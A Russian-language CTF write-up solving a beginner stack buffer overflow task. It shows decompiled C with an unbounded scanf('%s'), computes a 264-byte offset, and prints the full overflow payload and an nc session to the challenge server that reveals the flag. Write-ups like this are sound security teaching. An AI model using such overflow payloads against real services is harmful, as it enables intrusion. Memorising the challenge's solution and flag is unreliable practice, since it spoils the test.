Переполните, чтобы получить флаг.
nc 109.233.56.90 11584
Solution
Так как я сейчас пробую использовать локальные LLM для реверса, то и тут не обойдусь без нее) Из задания понятно, что тут должно быть переполнение буфера.
[Default] 1. Buffer Overflow Vulnerability: The `scanf` function is vulnerable to buffer overflow attacks.
The `%s` format specifier can read data from standard input and store it in a buffer, but it does not perform
any bounds checking on the size of the input. This means that an attacker could provide malicious input that exceeds
the size of the buffer, leading to a buffer overflow vulnerability.
Так оно и есть:
int32_t main()
{
int32_t result = 0;
int32_t ans = 'No.';
int64_t rax;
(uint8_t)rax = 0;
int32_t var_11c = printf("What's your favorite word? ");
int32_t rax_1;
(uint8_t)rax_1 = 0;
void input_str;
int32_t var_120 = scanf("%s", &input_str);
int32_t rax_3;
if (strcmp(&ans, "Yesss!"))
{
(uint8_t)rax_3 = 0;
printf("Good, but i won't give you flag.\n");
}
else
{
(uint8_t)rax_3 = 0;
printf("Flag is: spbctf{*********************}\n");
}
return result;
}
scanf при считывание с клавиатуры %s строки не учитывает размер буфера. Таким образом, мы можем ввести сколько угодно символов с клавиатуры и этим перетереть другие значения.

После ввода большой строки я перетер даже возврат:

Нам же нужно таким образом перетереть значение No. Если мы глянем на стек, то увидим, что если до переменной ans у нас есть 0x108 пусты ячеек:

значит нам нужно ввести 264(0x108) рандомных символов, за которыми последует Yesss!.
Пейлоад
Мне нужно получить строку длиной 264 + len(Yesss!). Это легко можно сделать следующей питоновской строчкой:
'Yesss!'.rjust(270, 'q')
А вот и мой пейлоад:
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqYesss!
После ввода пейлоада стек выглядит вот так (это можно посмотреть через stack -f):

Вызов strcmp происходит со следующими аргументами:

Выглядит супер. Проверю локально

Самое время получить флаг:
root@43fcfd6e3e23:/rev# nc 109.233.56.90 11584
What's your favorite word? qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqYesss!
Flag is: spbctf{babys_f1rst_0verfl0ww}